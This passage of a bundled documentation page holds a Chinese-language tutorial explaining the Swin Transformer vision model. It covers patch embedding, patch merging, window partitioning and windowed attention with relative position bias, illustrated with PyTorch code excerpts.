\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u4ee3\u7801\u7684\u89d2\u5ea6\uff1a"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u5fae\u8f6f\u4e9a\u6d32\u7814\u7a76\u9662\u63d0\u4f9b\u7684\u4ee3\u7801\u4e2d\uff0c\u662f\u5c06",(0,r.jsx)(e.code,{children:"Patch Merging"}),"\u4f5c\u4e3a\u6bcf\u4e2a Stage \u6700\u540e\u7ed3\u675f\u7684\u64cd\u4f5c\uff0c\u8f93\u5165\u5148\u8fdb\u884c",(0,r.jsx)(e.code,{children:"Swin Transformer Block"}),"\u64cd\u4f5c\uff0c\u518d\u4e0b\u91c7\u6837\u3002\u800c",(0,r.jsx)(e.strong,{children:"\u6700\u540e\u4e00\u4e2a Stage \u4e0d\u9700\u8981\u8fdb\u884c\u4e0b\u91c7\u6837\u64cd\u4f5c"}),"\uff0c\u4e4b\u95f4\u901a\u8fc7\u540e\u7eed\u7684\u5168\u8fde\u63a5\u5c42\u4e0e ",(0,r.jsx)(e.strong,{children:"target label"})," \u8ba1\u7b97\u635f\u5931\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"code_Architecture",src:s(51966).A+"",width:"1774",height:"519"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"# window_size=7 \n# input_batch_image.shape=[128,3,224,224]\nclass SwinTransformer(nn.Module):\n def __init__(...):\n super().__init__()\n ...\n # absolute position embedding\n if self.ape:\n self.absolute_pos_embed = nn.Parameter(torch.zeros(1, num_patches, embed_dim))\n\n self.pos_drop = nn.Dropout(p=drop_rate)\n\n # build layers\n self.layers = nn.ModuleList()\n for i_layer in range(self.num_layers):\n layer = BasicLayer(...)\n self.layers.append(layer)\n\n self.norm = norm_layer(self.num_features)\n self.avgpool = nn.AdaptiveAvgPool1d(1)\n self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()\n\n def forward_features(self, x):\n x = self.patch_embed(x) # Patch Partition\n if self.ape:\n x = x + self.absolute_pos_embed\n x = self.pos_drop(x)\n\n for layer in self.layers:\n x = layer(x)\n\n x = self.norm(x) # Batch_size Windows_num Channels\n x = self.avgpool(x.transpose(1, 2)) # Batch_size Channels 1\n x = torch.flatten(x, 1)\n return x\n\n def forward(self, x):\n x = self.forward_features(x)\n x = self.head(x) # self.head => Linear(in=Channels,out=Classification_num)\n return x\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\u6709\u51e0\u4e2a\u5730\u65b9\u5904\u7406\u65b9\u6cd5\u4e0e ViT \u4e0d\u540c\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["ViT \u5728\u8f93\u5165\u4f1a\u7ed9 embedding \u8fdb\u884c\u4f4d\u7f6e\u7f16\u7801\u3002\u800c Swin-T \u8fd9\u91cc\u5219\u662f\u4f5c\u4e3a\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u53ef\u9009\u9879"}),"\uff08",(0,r.jsx)(e.code,{children:"self.ape"}),"\uff09\uff0cSwin-T \u662f\u5728\u8ba1\u7b97 Attention \u7684\u65f6\u5019\u505a\u4e86\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u76f8\u5bf9\u4f4d\u7f6e\u7f16\u7801"}),"\uff0c\u6211\u8ba4\u4e3a\u8fd9\u662f\u8fd9\u7bc7\u8bba\u6587\u8bbe\u8ba1\u6700\u5de7\u5999\u7684\u5730\u65b9\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["ViT \u4f1a\u5355\u72ec\u52a0\u4e0a\u4e00\u4e2a\u53ef\u5b66\u4e60\u53c2\u6570\uff0c\u4f5c\u4e3a\u5206\u7c7b\u7684 token\u3002\u800c Swin-T \u5219\u662f",(0,r.jsx)(e.strong,{children:"\u76f4\u63a5\u505a\u5e73\u5747"}),"\uff08avgpool\uff09\uff0c\u8f93\u51fa\u5206\u7c7b\uff0c\u6709\u70b9\u7c7b\u4f3c CNN \u6700\u540e\u7684\u5168\u5c40\u5e73\u5747\u6c60\u5316\u5c42\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"patch-embedding",children:"Patch Embedding"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8f93\u5165\u8fdb Block \u524d\uff0c\u6211\u4eec\u9700\u8981\u5c06\u56fe\u7247\u5207\u6210\u4e00\u4e2a\u4e2a patch\uff0c\u7136\u540e\u5d4c\u5165\u5411\u91cf\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u5177\u4f53\u505a\u6cd5\u662f\u5bf9\u539f\u59cb\u56fe\u7247\u88c1\u6210\u4e00\u4e2a\u4e2a ",(0,r.jsx)(e.code,{children:"window_size * window_size"})," \u7684\u7a97\u53e3\u5927\u5c0f\uff0c\u7136\u540e\u8fdb\u884c\u5d4c\u5165\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u4e8c\u7ef4\u5377\u79ef\u5c42\uff0c",(0,r.jsx)(e.strong,{children:"\u5c06 stride\uff0ckernel_size \u8bbe\u7f6e\u4e3a window_size \u5927\u5c0f"}),"\u3002\u8bbe\u5b9a\u8f93\u51fa\u901a\u9053\u6765\u786e\u5b9a\u5d4c\u5165\u5411\u91cf\u7684\u5927\u5c0f\u3002\u6700\u540e\u5c06 H,W \u7ef4\u5ea6\u5c55\u5f00\uff0c\u5e76\u79fb\u52a8\u5230\u7b2c\u4e00\u7ef4\u5ea6\u3002"]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"\u8bba\u6587\u4e2d\u8f93\u51fa\u901a\u9053\u8bbe\u7f6e\u4e3a48\uff0c\u4f46\u662f\u4ee3\u7801\u4e2d\u4e3a96\uff0c\u4ee5\u4e0b\u6211\u4eec\u5747\u4ee5\u4ee3\u7801\u4e3a\u51c6\u3002"}),"\n",(0,r.jsx)(e.p,{children:"Batch_size=128"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Patch_embedding",src:s(23737).A+"",width:"1830",height:"158"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\n\nclass PatchEmbed(nn.Module):\n def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None):\n super().__init__()\n img_size = to_2tuple(img_size) # -> (img_size, img_size)\n patch_size = to_2tuple(patch_size) # -> (patch_size, patch_size)\n patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]]\n self.img_size = img_size\n self.patch_size = patch_size\n self.patches_resolution = patches_resolution\n self.num_patches = patches_resolution[0] * patches_resolution[1]\n\n self.in_chans = in_chans\n self.embed_dim = embed_dim\n\n self.proj = nn.Conv2d(in_chans, embed_dim, kernel_size=patch_size, stride=patch_size)\n if norm_layer is not None:\n self.norm = norm_layer(embed_dim)\n else:\n self.norm = None\n\n def forward(self, x):\n # \u5047\u8bbe\u91c7\u53d6\u9ed8\u8ba4\u53c2\u6570\uff0c\u8bba\u6587\u4e2dembedding_size\u662f96\uff0c\u4f46\u662f\u4ee3\u7801\u4e2d\u4e3a48.\u6211\u4eec\u4ee5\u4ee3\u7801\u4e3a\u51c6\n x = self.proj(x) # \u51fa\u6765\u7684\u662f(N, 96, 224/4, 224/4) \n x = torch.flatten(x, 2) # \u628aHW\u7ef4\u5c55\u5f00\uff0c(N, 96, 56*56)\n x = torch.transpose(x, 1, 2) # \u628a\u901a\u9053\u7ef4\u653e\u5230\u6700\u540e (N, 56*56, 96)\n if self.norm is not None:\n x = self.norm(x)\n return x\n"})}),"\n",(0,r.jsx)(e.h2,{id:"patch-merging",children:"Patch Merging"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5\u6a21\u5757\u7684\u4f5c\u7528\u662f\u5728\u6bcf\u4e2a Stage \u5f00\u59cb\u524d\u505a\u964d\u91c7\u6837\uff0c\u7528\u4e8e\u7f29\u5c0f\u5206\u8fa8\u7387\uff0c\u8c03\u6574\u901a\u9053\u6570\u8fdb\u800c\u5f62\u6210\u5c42\u6b21\u5316\u7684\u8bbe\u8ba1\uff0c\u540c\u65f6\u4e5f\u80fd\u8282\u7701\u4e00\u5b9a\u8fd0\u7b97\u91cf\u3002"}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsxs)(e.p,{children:["\u5728 CNN \u4e2d\uff0c\u5219\u662f\u5728\u6bcf\u4e2a Stage \u5f00\u59cb\u524d\u7528",(0,r.jsx)(e.code,{children:"stride=2"}),"\u7684\u5377\u79ef/\u6c60\u5316\u5c42\u6765\u964d\u4f4e\u5206\u8fa8\u7387\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6bcf\u6b21\u964d\u91c7\u6837\u662f\u4e24\u500d\uff0c\u56e0\u6b64",(0,r.jsx)(e.strong,{children:"\u5728\u884c\u65b9\u5411\u548c\u5217\u65b9\u5411\u4e0a\uff0c\u95f4\u9694 2 \u9009\u53d6\u5143\u7d20"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u62fc\u63a5\u5728\u4e00\u8d77\u4f5c\u4e3a\u4e00\u6574\u4e2a\u5f20\u91cf\uff0c\u6700\u540e\u5c55\u5f00\u3002",(0,r.jsx)(e.strong,{children:"\u6b64\u65f6\u901a\u9053\u7ef4\u5ea6\u4f1a\u53d8\u6210\u539f\u5148\u7684 4 \u500d"}),"\uff08\u56e0\u4e3a H,W \u5404\u7f29\u5c0f 2 \u500d\uff09\uff0c\u6b64\u65f6\u518d\u901a\u8fc7\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u5168\u8fde\u63a5\u5c42\u518d\u8c03\u6574\u901a\u9053\u7ef4\u5ea6\u4e3a\u539f\u6765\u7684\u4e24\u500d"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u662f\u4e00\u4e2a\u793a\u610f\u56fe\uff08\u8f93\u5165\u5f20\u91cf N=1, H=W=8, C=1\uff0c\u4e0d\u5305\u542b\u6700\u540e\u7684\u5168\u8fde\u63a5\u5c42\u8c03\u6574\uff09"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Patch_Merging",src:s(60575).A+"",width:"2435",height:"388"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Patch_Merging_dim",src:s(81324).A+"",width:"1794",height:"494"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'class PatchMerging(nn.Module):\n def __init__(self, input_resolution, dim, norm_layer=nn.LayerNorm):\n super().__init__()\n self.input_resolution = input_resolution\n self.dim = dim\n self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False)\n self.norm = norm_layer(4 * dim)\n\n def forward(self, x):\n """\n x: B, H*W, C\n """\n H, W = self.input_resolution\n B, L, C = x.shape\n assert L == H * W, "input feature has wrong size"\n assert H % 2 == 0 and W % 2 == 0, f"x size ({H}*{W}) are not even."\n\n x = x.view(B, H, W, C)\n\n x0 = x[:, 0::2, 0::2, :] # B H/2 W/2 C\n x1 = x[:, 1::2, 0::2, :] # B H/2 W/2 C\n x2 = x[:, 0::2, 1::2, :] # B H/2 W/2 C\n x3 = x[:, 1::2, 1::2, :] # B H/2 W/2 C\n x = torch.cat([x0, x1, x2, x3], -1) # B H/2 W/2 4*C\n x = x.view(B, -1, 4 * C) # B H/2*W/2 4*C\n\n x = self.norm(x)\n x = self.reduction(x)\n\n return x\n'})}),"\n",(0,r.jsx)(e.h2,{id:"window-partitionreverse",children:"Window Partition/Reverse"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"window partition"}),"\u51fd\u6570\u662f\u7528\u4e8e\u5bf9\u5f20\u91cf\u5212\u5206\u7a97\u53e3\uff0c\u6307\u5b9a\u7a97\u53e3\u5927\u5c0f\u3002\u5c06\u539f\u672c\u7684\u5f20\u91cf\u4ece ",(0,r.jsx)(e.code,{children:"N H W C"}),", \u5212\u5206\u6210 ",(0,r.jsx)(e.code,{children:"num_windows*B, window_size, window_size, C"}),"\uff0c\u5176\u4e2d ",(0,r.jsx)(e.code,{children:"num_windows = H*W / window_size*window_size"}),"\uff0c\u5373\u7a97\u53e3\u7684\u4e2a\u6570\u3002\u800c",(0,r.jsx)(e.code,{children:"window reverse"}),"\u51fd\u6570\u5219\u662f\u5bf9\u5e94\u7684\u9006\u8fc7\u7a0b\u3002\u8fd9\u4e24\u4e2a\u51fd\u6570\u4f1a\u5728\u540e\u9762\u7684",(0,r.jsx)(e.code,{children:"Window Attention"}),"\u7528\u5230\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Window_Partition_Reverse",src:s(12709).A+"",width:"1450",height:"365"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def window_partition(x, window_size):\n B, H, W, C = x.shape\n x = x.view(B, H // window_size, window_size, W // window_size, window_size, C)\n windows = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(-1, window_size, window_size, C)\n return windows\n\ndef window_reverse(windows, window_size, H, W):\n B = int(windows.shape[0] / (H * W / window_size / window_size))\n x = windows.view(B, H // window_size, W // window_size, window_size, window_size, -1)\n x = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(B, H, W, -1)\n return x\n"})}),"\n",(0,r.jsx)(e.h2,{id:"window-attention",children:"Window Attention"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f20\u7edf\u7684 Transformer \u90fd\u662f",(0,r.jsx)(e.strong,{children:"\u57fa\u4e8e\u5168\u5c40\u6765\u8ba1\u7b97\u6ce8\u610f\u529b\u7684"}),"\uff0c\u56e0\u6b64\u8ba1\u7b97\u590d\u6742\u5ea6\u5341\u5206\u9ad8\u3002\u800c Swin Transformer \u5219\u5c06",(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\u529b\u7684\u8ba1\u7b97\u9650\u5236\u5728\u6bcf\u4e2a\u7a97\u53e3\u5185"}),"\uff0c\u8fdb\u800c\u51cf\u5c11\u4e86\u8ba1\u7b97\u91cf\u3002\u6211\u4eec\u5148\u7b80\u5355\u770b\u4e0b\u516c\u5f0f"]}),"\n",(0,r.jsxs)(e.p,{children:["$$\nAttention(Q,K,V)=Softmax(\\frac{QK^T}{\\sqrt d}+B)V\n$$\n\u4e3b\u8981\u533a\u522b\u662f\u5728\u539f\u59cb\u8ba1\u7b97 Attention \u7684\u516c\u5f0f\u4e2d\u7684 Q,K \u65f6",(0,r.jsx)(e.strong,{children:"\u52a0\u5165\u4e86\u76f8\u5bf9\u4f4d\u7f6e\u7f16\u7801"}),"\u3002"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Swin-T_block.png",alt:"Swin-T_block",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'class WindowAttention(nn.Module):\n r""" Window based multi-head self attention (W-MSA) module with relative position bias.\n It supports both of shifted and non-shifted window.\n\n Args:\n dim (int): Number of input channels.\n window_size (tuple[int]): The height and width of the window.\n num_heads (int): Number of attention heads.\n qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True\n qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set\n attn_drop (float, optional): Dropout ratio of attention weight. Default: 0.0\n proj_drop (float, optional): Dropout ratio of output. Default: 0.0\n """\n\n def __init__(self, dim, window_size, num_heads, qkv_bias=True, qk_scale=None, attn_drop=0., proj_drop=0.):\n\n super().__init__()\n self.dim = dim\n self.window_size = window_size # Wh, Ww\n self.num_heads = num_heads # nH\n head_dim = dim // num_heads # \u6bcf\u4e2a\u6ce8\u610f\u529b\u5934\u5bf9\u5e94\u7684\u901a\u9053\u6570\n self.scale = qk_scale or head_dim ** -0.5\n\n # define a parameter table of relative position bias\n self.relative_position_bias_table = nn.Parameter(\n torch.zeros((2 * window_size[0] - 1) * (2 * window_size[1] - 1), num_heads)) # \u8bbe\u7f6e\u4e00\u4e2a\u5f62\u72b6\u4e3a\uff082*(Wh-1) * 2*(Ww-1), nH\uff09\u7684\u53ef\u5b66\u4e60\u53d8\u91cf\uff0c\u7528\u4e8e\u540e\u7eed\u7684\u4f4d\u7f6e\u7f16\u7801\n\n self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop)\n self.proj = nn.Linear(dim, dim)\n self.proj_drop = nn.Dropout(proj_drop)\n\n trunc_normal_(self.relative_position_bias_table, std=.02)\n self.softmax = nn.Softmax(dim=-1)\n # \u76f8\u5173\u4f4d\u7f6e\u7f16\u7801...\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3",children:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3"}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"Q,K,V.shape=[numWindwos*B, num_heads, window_size*window_size, head_dim]"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["window_size*window_size \u5373 NLP \u4e2d",(0,r.jsx)(e.code,{children:"token"}),"\u7684\u4e2a\u6570"]}),"\n",(0,r.jsxs)(e.li,{children:["$head_dim=\\frac{Embedding_dim}{num_heads}$ \u5373 NLP \u4e2d",(0,r.jsx)(e.code,{children:"token"}),"\u7684\u8bcd\u5d4c\u5165\u5411\u91cf\u7684\u7ef4\u5ea6"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["${QK}^T$\u8ba1\u7b97\u51fa\u6765\u7684",(0,r.jsx)(e.code,{children:"Attention"}),"\u5f20\u91cf\u7684\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"[numWindows*B, num_heads, Q_tokens, K_tokens]"})]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5176\u4e2dQ_tokens=K_tokens=window_size*window_size"}),"\n"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4ee5",(0,r.jsx)(e.code,{children:"window_size=2"}),"\u4e3a\u4f8b\uff1a"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/%E7%BB%9D%E5%AF%B9%E4%BD%8D%E7%BD%AE%E7%B4%A2%E5%BC%95.png",alt:"\u7edd\u5bf9\u4f4d\u7f6e\u7d22\u5f15",style:{zoom:"33%"}}),"\n",(0,r.jsx)(e.p,{children:"\u56e0\u6b64\uff1a${QK}^T=\\left[\\begin{array}{cccc}a_{11} & a_{12} & a_{13} & a_{14} \\ a_{21} & a_{22} & a_{23} & a_{24} \\ a_{31} & a_{32} & a_{33} & a_{34} \\ a_{41} & a_{42} & a_{43} & a_{44}\\end{array}\\right]$"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsxs)(e.strong,{children:["\u7b2c $i$ \u884c\u8868\u793a\u7b2c $i$ \u4e2a token \u7684",(0,r.jsx)(e.code,{children:"query"}),"\u5bf9\u6240\u6709token\u7684",(0,r.jsx)(e.code,{children:"key"}),"\u7684attention\u3002"]})}),"\n",(0,r.jsxs)(e.li,{children:["\u5bf9\u4e8e Attention \u5f20\u91cf\u6765\u8bf4\uff0c",(0,r.jsx)(e.strong,{children:"\u4ee5\u4e0d\u540c\u5143\u7d20\u4e3a\u539f\u70b9\uff0c\u5176\u4ed6\u5143\u7d20\u7684\u5750\u6807\u4e5f\u662f\u4e0d\u540c\u7684"}),"\uff0c"]}),"\n"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/%E7%9B%B8%E5%AF%B9%E4%BD%8D%E7%BD%AE%E7%B4%A2%E5%BC%95.png",alt:"\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u6240\u4ee5${QK}^T\u7684\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15=\\left[\\begin{array}{cccc}(0,0) & (0,-1) & (-1,0) & (-1,-1) \\ (0,1) & (0,0) & (-1,1) & (-1,0) \\ (1,0) & (1,-1) & (0,0) & (0,-1) \\ (1,1) & (1,0) & (0,1) & (0,0)\\end{array}\\right]$"}),"\n",(0,r.jsxs)(e.p,{children:["\u7531\u4e8e\u6700\u7ec8\u6211\u4eec\u5e0c\u671b\u4f7f\u7528\u4e00\u7ef4\u7684\u4f4d\u7f6e\u5750\u6807 ",(0,r.jsx)(e.code,{children:"x+y"})," \u4ee3\u66ff\u4e8c\u7ef4\u7684\u4f4d\u7f6e\u5750\u6807",(0,r.jsx)(e.code,{children:" (x,y)"}),"\uff0c\u4e3a\u4e86\u907f\u514d (1,2) (2,1) \u4e24\u4e2a\u5750\u6807\u8f6c\u4e3a\u4e00\u7ef4\u65f6\u5747\u4e3a3\uff0c\u6211\u4eec\u4e4b\u540e\u5bf9\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15\u8fdb\u884c\u4e86\u4e00\u4e9b",(0,r.jsx)(e.strong,{children:"\u7ebf\u6027\u53d8\u6362"}),"\uff0c\u4f7f\u5f97\u80fd\u901a\u8fc7",(0,r.jsx)(e.strong,{children:"\u4e00\u7ef4"}),"\u7684\u4f4d\u7f6e\u5750\u6807",(0,r.jsx)(e.strong,{children:"\u552f\u4e00\u6620\u5c04"}),"\u5230\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u4e8c\u7ef4"}),"\u7684\u4f4d\u7f6e\u5750\u6807\uff0c\u8be6\u7ec6\u53ef\u4ee5\u901a\u8fc7\u4ee3\u7801\u90e8\u5206\u8fdb\u884c\u7406\u89e3\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3",children:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3"}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u6211\u4eec\u5229\u7528",(0,r.jsx)(e.code,{children:"torch.arange"}),"\u548c",(0,r.jsx)(e.code,{children:"torch.meshgrid"}),"\u51fd\u6570\u751f\u6210\u5bf9\u5e94\u7684\u5750\u6807\uff0c\u8fd9\u91cc\u6211\u4eec\u4ee5",(0,r.jsx)(e.code,{children:"windowsize=2"}),"\u4e3a\u4f8b\u5b50"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'coords_h = torch.arange(self.window_size[0])\ncoords_w = torch.arange(self.window_size[1])\ncoords = torch.meshgrid([coords_h, coords_w]) # -> 2*(wh, ww)\n"""\n (tensor([[0, 0],\n [1, 1]]), \n tensor([[0, 1],\n [0, 1]]))\n"""\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u7136\u540e\u5806\u53e0\u8d77\u6765\uff0c\u5c55\u5f00\u4e3a\u4e00\u4e2a\u4e8c\u7ef4\u5411\u91cf"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'coords = torch.stack(coords) # 2, Wh, Ww\ncoords_flatten = torch.flatten(coords, 1) # 2, Wh*Ww\n"""\ntensor([[0, 0, 1, 1],\n [0, 1, 0, 1]])\n"""\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u5229\u7528\u5e7f\u64ad\u673a\u5236\uff0c\u5206\u522b\u5728\u7b2c\u4e00\u7ef4\uff0c\u7b2c\u4e8c\u7ef4\uff0c\u63d2\u5165\u4e00\u4e2a\u7ef4\u5ea6\uff0c\u8fdb\u884c\u5e7f\u64ad\u76f8\u51cf\uff0c\u5f97\u5230 ",(0,r.jsx)(e.code,{children:"2, wh*ww, wh*ww"}),"\u7684\u5f20\u91cf"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"relative_coords_first = coords_flatten[:, :, None] # 2, wh*ww, 1\nrelative_coords_second = coords_flatten[:, None, :] # 2, 1, wh*ww\nrelative_coords = relative_coords_first - relative_coords_second # \u6700\u7ec8\u5f97\u5230 2, wh*ww, wh*ww \u5f62\u72b6\u7684\u5f20\u91cf\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"relative_pos_code",src:s(97896).A+"",width:"1273",height:"910"})}),"\n",(0,r.jsxs)(e.p,{children:["\u56e0\u4e3a\u91c7\u53d6\u7684\u662f\u76f8\u51cf\uff0c\u6240\u4ee5\u5f97\u5230\u7684\u7d22\u5f15\u662f\u4ece\u8d1f\u6570\u5f00\u59cb\u7684\uff0c",(0,r.jsx)(e.strong,{children:"\u6211\u4eec\u52a0\u4e0a\u504f\u79fb\u91cf\uff0c\u8ba9\u5176\u4ece 0 \u5f00\u59cb"}),"\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"relative_coords = relative_coords.permute(1, 2, 0).contiguous() # Wh*Ww, Wh*Ww, 2\nrelative_coords[:, :, 0] += self.window_size[0] - 1\nrelative_coords[:, :, 1] += self.window_size[1] - 1\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u540e\u7eed\u6211\u4eec\u9700\u8981\u5c06\u5176\u5c55\u5f00\u6210\u4e00\u7ef4\u504f\u79fb\u91cf\u3002\u800c\u5bf9\u4e8e (1\uff0c2\uff09\u548c\uff082\uff0c1\uff09\u8fd9\u4e24\u4e2a\u5750\u6807\u3002\u5728\u4e8c\u7ef4\u4e0a\u662f\u4e0d\u540c\u7684\uff0c",(0,r.jsx)(e.strong,{children:"\u4f46\u662f\u901a\u8fc7\u5c06 x,y \u5750\u6807\u76f8\u52a0\u8f6c\u6362\u4e3a\u4e00\u7ef4\u504f\u79fb\u7684\u65f6\u5019\uff0c\u4ed6\u7684\u504f\u79fb\u91cf\u662f\u76f8\u7b49\u7684"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"bias0",src:s(32928).A+"",width:"1526",height:"583"})}),"\n",(0,r.jsx)(e.p,{children:"\u6240\u4ee5\u6700\u540e\u6211\u4eec\u5bf9\u5176\u4e2d\u505a\u4e86\u4e2a\u4e58\u6cd5\u64cd\u4f5c\uff0c\u4ee5\u8fdb\u884c\u533a\u5206"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"relative_coords[:, :, 0] *= 2 * self.window_size[1] - 1\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"offset multiply",src:s(85883).A+"",width:"1977",height:"319"})}),"\n",(0,r.jsx)(e.p,{children:"\u7136\u540e\u518d\u6700\u540e\u4e00\u7ef4\u4e0a\u8fdb\u884c\u6c42\u548c\uff0c\u5c55\u5f00\u6210\u4e00\u4e2a\u4e00\u7ef4\u5750\u6807\uff0c\u5e76\u6ce8\u518c\u4e3a\u4e00\u4e2a\u4e0d\u53c2\u4e0e\u7f51\u7edc\u5b66\u4e60\u7684\u53d8\u91cf"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'relative_position_index = relative_coords.sum(-1) # Wh*Ww, Wh*Ww\nself.register_buffer("relative_position_index", relative_position_index)\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4e4b\u524d\u8ba1\u7b97\u7684\u662f\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15\uff0c\u5e76\u4e0d\u662f\u76f8\u5bf9\u4f4d\u7f6e\u504f\u7f6e\u53c2\u6570\u3002\u771f\u6b63\u4f7f\u7528\u5230\u7684\u53ef\u8bad\u7ec3\u53c2\u6570$\\hat B$\u662f\u4fdd\u5b58\u5728",(0,r.jsx)(e.code,{children:"relative position bias table"}),"\u8868\u91cc\u7684\uff0c\u8fd9\u4e2a\u8868\u7684\u957f\u5ea6\u662f\u7b49\u4e8e ",(0,r.jsx)(e.strong,{children:"(2M\u22121) \xd7 (2M\u22121)"})," (\u5728\u4e8c\u7ef4\u4f4d\u7f6e\u5750\u6807\u4e2d\u7ebf\u6027\u53d8\u5316\u4e58\u4ee52M-1\u5bfc\u81f4)\u7684\u3002\u90a3\u4e48\u4e0a\u8ff0\u516c\u5f0f\u4e2d\u7684\u76f8\u5bf9\u4f4d\u7f6e\u504f\u6267\u53c2\u6570B\u662f\u6839\u636e\u4e0a\u9762\u7684\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15\u8868\u6839\u636e\u67e5",(0,r.jsx)(e.code,{children:"relative position bias table"}),"\u8868\u5f97\u5230\u7684\u3002"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/relative_pos_bias_table.png",alt:"relative_pos_bias_table",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u63a5\u7740\u6211\u4eec\u770b\u524d\u5411\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'def forward(self, x, mask=None):\n """\n Args:\n x: input features with shape of (num_windows*B, N, C)\n mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None\n """\n B_, N, C = x.shape\n\n qkv = self.qkv(x).reshape(B_, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)\n q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as 